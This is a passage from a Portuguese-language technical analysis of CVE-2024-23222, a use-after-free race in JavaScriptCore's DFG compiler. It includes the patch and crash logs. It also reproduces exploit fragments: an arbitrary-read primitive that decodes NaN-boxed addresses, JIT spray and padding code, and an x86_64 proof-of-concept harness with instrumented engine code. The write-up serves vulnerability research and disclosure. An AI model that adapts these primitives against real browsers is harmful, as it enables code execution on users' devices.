O `JSValue` retornado não está protegido. Se ele contém um ponteiro de célula, nada impede que essa célula seja liberada entre a liberação do bloqueio e o momento em que o chamador a utiliza.

### 2.3 Caminhos do consumidor para o valor obsoleto

O `JSValue` retornado pode ser consumido por dois caminhos. Se a célula se tornar obsoleta ou inválida durante a
janela de concorrência, qualquer caminho pode causar uma falha.

**Caminho A: `freeze()` na thread do compilador.** O consumidor mais direto é `Graph::freeze()`, que o chamador invoca imediatamente no valor retornado:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Se a célula foi liberada entre o retorno de `tryGetConstantProperty()` e a execução de `freeze()`, `value.asCell()->structure()` é um use-after-free.

**Caminho B: marcação GC durante a janela alargada.** Na build de pesquisa, a thread do compilador entra num
ponto seguro raw do DFG dentro de `tryGetConstantProperty()` após ler a propriedade, mas antes de retorná-la
ao chamador. Isso permite que a thread principal execute GC enquanto o valor de célula obsoleto ainda existe
como um local nativo raw no lado do compilador. No PoC atual para Linux x86_64, o crash revalidado de forma fiável
ocorre mais tarde na marcação GC, onde `SlotVisitor` eventualmente desreferencia uma célula obsoleta inválida
ao percorrer referências do heap. A stack do crash atual prova que o mecanismo GC posterior consome o valor
obsoleto; não prova por si só o slot contentor exato a partir do qual esse ponteiro obsoleto foi alcançado.

### 2.4 Locais de chamada

Dois lugares no pipeline do DFG passam incondicionalmente o resultado de `tryGetConstantProperty()` para `freeze()`:

**ByteCodeParser** — durante a descida inicial de bytecode para DFG-IR:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

Um terceiro local de chamada no **AbstractInterpreter** também chama `freeze()`, mas apenas quando o valor retornado é um `GetterSetter*`:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

O valor `config.g = -NaN` serve como um canal lateral (side-channel) do nível JIT: `Math.min(-NaN, -NaN)` produz padrões de bits diferentes no interpretador versus o JIT, observável através de uma sobreposição de `Int32Array`.

**Wrapper de chamada JIT.** Um `new Function()` com 7.200 repetições de padding de código morto (`x += 1;` dentro de `if(false)`) controla o tamanho da região de código JIT. O caminho de código ativo é um simples despachante de funções:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**Leitura arbitrária.** Após corromper a estrutura, `jitReadFn` lê `arr[0]` através do ponteiro butterfly corrompido, em seguida divide por `5e-324` (`Number.MIN_VALUE`) para reverter o NaN-boxing e extrair um endereço bruto:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

A cadeia: `apply()` lê as propriedades 0–8. Ler o índice 8 aciona o getter, que libera os arrays de spray. `inlinedFunction` então chama `jitTrigger` com `arguments[3]` (o agora liberado `sprayArrays[3001]`). O `jitTrigger` compilado por JIT interpreta a memória liberada como valores float64, decodifica endereços via `/ 5e-324` e resolve ponteiros de instância WebAssembly para inicializar uma primitiva de leitura/escrita arbitrária.

### 3.3 Por que isso é específico do ARM64

Duas propriedades do ARM64 tornam este exploit não portável para x86_64.

**Ordenação de memória.** A corrida multi-estrutura S1→S2→S3 descrita no commit do patch depende da ordenação de memória fraca do ARM64. Quando a thread principal escreve um novo valor de propriedade e então define uma nova estrutura, o ARM64 pode reordenar essas operações de store. A thread do compilador pode observar a nova estrutura, mas ler o valor antigo (obsoleto) da propriedade. O Total Store Order (TSO) do x86_64 garante que, se o store da estrutura for visível, todo store anterior — incluindo a escrita da propriedade — também é visível. O mecanismo específico de reordenação de memória do qual a corrida de constant-folding multi-estrutura depende não se aplica sob TSO, e essa corrida não foi observada se manifestar em x86_64.

**Layout de NaN-boxing.** O exploit escreve valores float64 manipulados nas propriedades do objeto, explorando o fato de que, no ARM64, os padrões de bits desses doubles se sobrepõem aos cabeçalhos de célula JSC (IDs de estrutura, ponteiros de butterfly) na representação com NaN-boxing. Embora o JSC x86_64 use o mesmo esquema de NaN-boxing, a codificação específica do ID de estrutura e o layout do ponteiro diferem o suficiente para que a técnica de type-punning do ARM64 não produza corrupção de estrutura válida em x86_64.

---

## 4. Adaptação para x86_64

### 4.1 Por que o ataque ARM64 falha em x86_64

A corrida multi-estrutura exige que a thread do compilador leia um valor de propriedade de uma estrutura intermediária (S2) enquanto o conjunto de estruturas perfiladas contém apenas {S1, S3}. No x86_64, o TSO impede isso: o bloqueio de célula em `tryGetConstantProperty()` fornece sequenciamento e, mesmo sem o bloqueio, as garantias de ordenação de store asseguram um par (estrutura, valor) consistente. Se a thread do compilador vê a estrutura S1, ela vê o valor de S1. Se ela vê S2, a verificação de estrutura falha (S2 não está no conjunto). A janela específica de reordenação de store que a ordenação fraca do ARM64 abre não se aplica sob TSO.

### 4.2 A alternativa: célula liberada durante a compilação

A prova de conceito x86_64 explora uma consequência diferente do mesmo TOCTOU. Em vez de fazer com que o compilador dobre um valor da estrutura errada, ela faz com que o compilador mantenha um `JSValue` de célula obsoleto que se torna inválido ao longo da janela de corrida ampliada.

A sequência:

1. `tryGetConstantProperty()` lê uma propriedade de célula sob o bloqueio de célula.
2. O bloqueio é liberado. O ponteiro da célula agora é um `JSValue` bruto na pilha C++ nativa da thread do compilador.
3. A thread principal substitui a propriedade (`state.val = 0`), removendo a última referência JavaScript à célula.
4. A thread principal aciona a coleta de lixo.
5. A GC **não** varre a pilha da thread do compilador. As threads do compilador DFG nunca adquirem `JSLock` e, portanto, nunca são registradas com o conjunto de threads de máquina da GC:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` contém a célula alvo. `Object.seal()` fixa a estrutura para que a DFG possa tratar `state` como uma constante conhecida.

**Função de sonda.** Uma função gerada dinamicamente lê `state.val`. Quando a DFG compila esta função, ela tenta fazer constant-fold do acesso à propriedade, entrando em `tryGetConstantProperty()`:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**Liberar e coletar.** Assim que a thread do compilador DFG ler a célula (a construção instrumentada dorme aqui), a thread principal descarta a referência e executa o GC. A lógica real do harness é parametrizada, mas a forma de trabalho padrão é:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` é uma função numérica recursiva que sobrescreve slots de registradores do interpretador na pilha da thread principal, reduzindo a chance de que a varredura conservadora da pilha encontre um ponteiro obsoleto para a célula alvo.

### 5.2 Instrumentação do motor

A compilação de pesquisa modifica `tryGetConstantProperty()` em `DFGGraph.cpp`. Após a liberação do bloqueio da célula e antes do retorno da função, a instrumentação:

1. Opcionalmente escreve um arquivo de sinal (para sincronização no lado JS; desabilitado na melhor configuração atual).
2. Entra em um `Safepoint` bruto do DFG, que libera o bloqueio `m_rightToRun` da thread do compilador. Isso permite que o GC prossiga sem esperar pela thread do compilador.
3. Dorme por uma duração configurável (padrão: 500ms).
4. Ao acordar, readquire `m_rightToRun` e verifica se o plano de compilação foi cancelado.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**Explicação das flags:**

| Flag | Finalidade |
|------|-----------|
| `--useConcurrentJIT=true` | Ativar compilação DFG em segundo plano (a corrida requer duas threads) |
| `--thresholdForOptimizeAfterWarmUp=20` | Reduzir o limite de subida de nível DFG para que a compilação comece após aquecimento mínimo |
| `--thresholdForJITAfterWarmUp=5` | Reduzir o limite JIT da linha de base |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Impedir que FTL compita com DFG; manter compilação no nível DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Janela de corrida de 500ms na compilação instrumentada |
| `JSC_TGCP_SIGNAL_PATH=''` | Desabilitar o arquivo de sinal (sincronização baseada apenas em temporização) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Grande quarentena impede que memória liberada seja imediatamente reutilizada |

As flags de hierarquização são críticas. Sem elas, a agenda JIT muda o suficiente para que a compilação e a liberação da thread principal fiquem desalinhadas.

---

## 6. Análise de Crash

### 6.1 O crash de marcação do GC

O crash primário reproduzível ocorre durante a coleta de lixo, quando o `SlotVisitor` do GC tenta marcar uma célula obsoleta. Uma execução completa representativa é assim:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

Em algum ponto durante essa travessia, `appendHiddenUnbarriered` recebe um `JSValue` obsoleto com valor de célula e o trata como uma célula viva:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

O `loadAndFence` lê do endereço `MarkedBlock` inválido (`0x180000008020`), causando um SEGV.

### 6.2 A variante de falha `freeze()`

Sob diferentes condições de temporização, o mesmo TOCTOU também produz uma falha diretamente na thread de trabalho do compilador DFG, no caminho `freeze()`:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

A linha `[tgcp] HIT` confirma que `tryGetConstantProperty()` fez constant-folding com sucesso da propriedade alvo como um valor de célula. A linha `RACE` mostra a thread do compilador entrando na janela alargada. A linha `WAKE` mostra a retomada. O diagnóstico do ASan reporta a célula como "acessível" — o ASan não vê uma simples violação de redzone — mas os ponteiros internos da célula (ID da estrutura, ponteiro de volta do `MarkedBlock`) estão obsoletos, causando a falha quando o próprio código do JSC tenta usá-los.

---

## 7. Instrumentação de Pesquisa

### 7.1 O que é artificial

A build de pesquisa modifica `tryGetConstantProperty()` de três formas:

- Um `usleep()` de 500ms alarga a janela de corrida. O motor padrão não tem sleep aqui; a janela natural entre a liberação do bloqueio da célula e a chamada `freeze()` é de nanossegundos.
- Um `Safepoint` bruto é inserido sem registrar o `Graph` como `Scannable`. Os safepoints de produção (via `GraphSafepoint`) adicionam o `Graph`, o que faz o GC visitar todos os valores congelados. O safepoint bruto torna a célula ainda não congelada invisível para o GC.
- As variáveis de ambiente (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) controlam a duração do sleep e um arquivo de sinal opcional.

### 7.2 O que não é artificial

A falha em si vem de caminhos de código não modificados do JSC:

- `JSFinalObject::visitChildrenImpl` e `SlotVisitor::appendHiddenUnbarriered` são lógicas de marcação do GC padrão.
- `Graph::freeze()` e `FrozenValue::freeze()` são lógicas padrão do compilador DFG.
- Nenhum `__asan_poison_memory_region()` ou outra corrupção manual de memória é usado.
- Nenhuma sonda explícita "desreferencie o ponteiro obsoleto aqui" é inserida no caminho da falha.
- O harness JavaScript usa apenas APIs públicas do JSC e builtins do shell `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- As threads do compilador DFG genuinamente não são escaneadas pelo GC — este é o comportamento de produção, não um artefato de pesquisa.

### 7.3 Avaliação

A janela de corrida natural é muito estreita para reprodução confiável em x86_64 sem instrumentação. Em ARM64, a ordenação de memória fraca dá ao exploit original uma janela natural muito mais ampla — os armazenamentos de estrutura e valor podem ser reordenados, de modo que a thread do compilador pode observar um estado inconsistente sem qualquer assistência de temporização artificial.

Um exploit hipotético de produção em x86_64 precisaria de uma maneira de travar a thread do compilador no ponto crítico (por exemplo, uma busca lenta de estrutura, um bloqueio disputado ou uma forma patológica de grafo que atrase `freeze()`) ou de uma abordagem estatística com muitas tentativas de compilação. A instrumentação substitui esse requisito por um sleep determinístico.

---

## 8. O Patch

O commit do WebKit `64714692967ad278155fcae66c5cb0f853b3bf34` de Yusuke Suzuki (revisado por Mark Lam) corrige a vulnerabilidade.

A correção introduz uma nova classe, `DesiredObjectProperties`, que registra tuplas `(JSObject*, PropertyOffset, JSValue, Structure*)` sempre que o compilador DFG faz constant-folding de um carregamento de propriedade. Após a conclusão da compilação, `Plan::isStillValidOnMainThread()` relê essas propriedades na thread principal e as compara com os valores registrados. Se alguma tupla estiver obsoleta — a estrutura do objeto mudou, ou o valor da propriedade difere — o plano compilado é descartado antes de ser executado.

Isso converte o TOCTOU em uma verificação atômica: a captura do compilador é validada em um ponto de sincronização (finalização da thread principal) antes que o código otimizado seja instalado. O UAF do `freeze()` ainda pode ocorrer durante a compilação, mas o código resultante nunca é usado.

Para conjuntos de multiestruturas, o `tryGetConstantProperty()` corrigido também rejeita o constant-folding completamente quando `structureSet.size() > 1` e nem todas as estruturas são assistidas ativamente. Isso elimina o ataque de transição transitiva S1→S2→S3 na origem.

---

## 9. Arquivos

| Arquivo | Descrição |
|---------|-----------|
| `toctou_clean_asan_v2.js` | Harness JavaScript de prova de conceito |
| `DFGGraph.cpp` | Função vulnerável (`tryGetConstantProperty`), `freeze()`, e instrumentação de pesquisa |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — o ponto de desreferência da célula |
| `DFGByteCodeParser.cpp` | Local da chamada `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Local da chamada `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Local da chamada do interpretador abstrato |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — local da falha de marcação do GC |
| `MarkedBlock.h` | `aboutToMark()` — onde ocorre o SEGV |
| `JSLock.cpp` | `didAcquireLock()` — mostra que as threads DFG não são registradas com o GC |